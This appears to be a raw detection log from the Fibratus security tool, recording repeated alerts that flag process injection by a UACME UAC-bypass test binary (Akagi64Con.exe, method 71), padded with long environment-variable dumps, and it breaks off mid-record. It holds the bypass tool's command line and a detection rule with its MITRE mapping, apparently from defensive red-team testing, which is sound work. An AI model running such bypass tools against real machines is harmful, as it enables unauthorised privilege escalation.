PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\csi\642ddb7150eb85f1b175033b6b90d534\csi.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1667767 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6262199 +0100 CET + Params: base_address➜ 7ffb9a7c0000, checksum➜ 0, default_address➜ 7ffb9a7c0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\csi\642ddb7150eb85f1b175033b6b90d534\csi.ni.exe, image_size➜ 28672, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\InspectVhdDialog\53630fcfe154a69bb05be13afd139aea\InspectVhdDialog.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1667837 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 3 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.6303175 +0100 CET + Params: base_address➜ 7ffb824f0000, checksum➜ 0, default_address➜ 7ffb824f0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\InspectVhdDialog\53630fcfe154a69bb05be13afd139aea\InspectVhdDialog.ni.exe, image_size➜ 196608, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, rule.name: .NET assembly loaded by unmanaged process + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\InspectVhdDialog\53630fcfe154a69bb05be13afd139aea\InspectVhdDialog.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 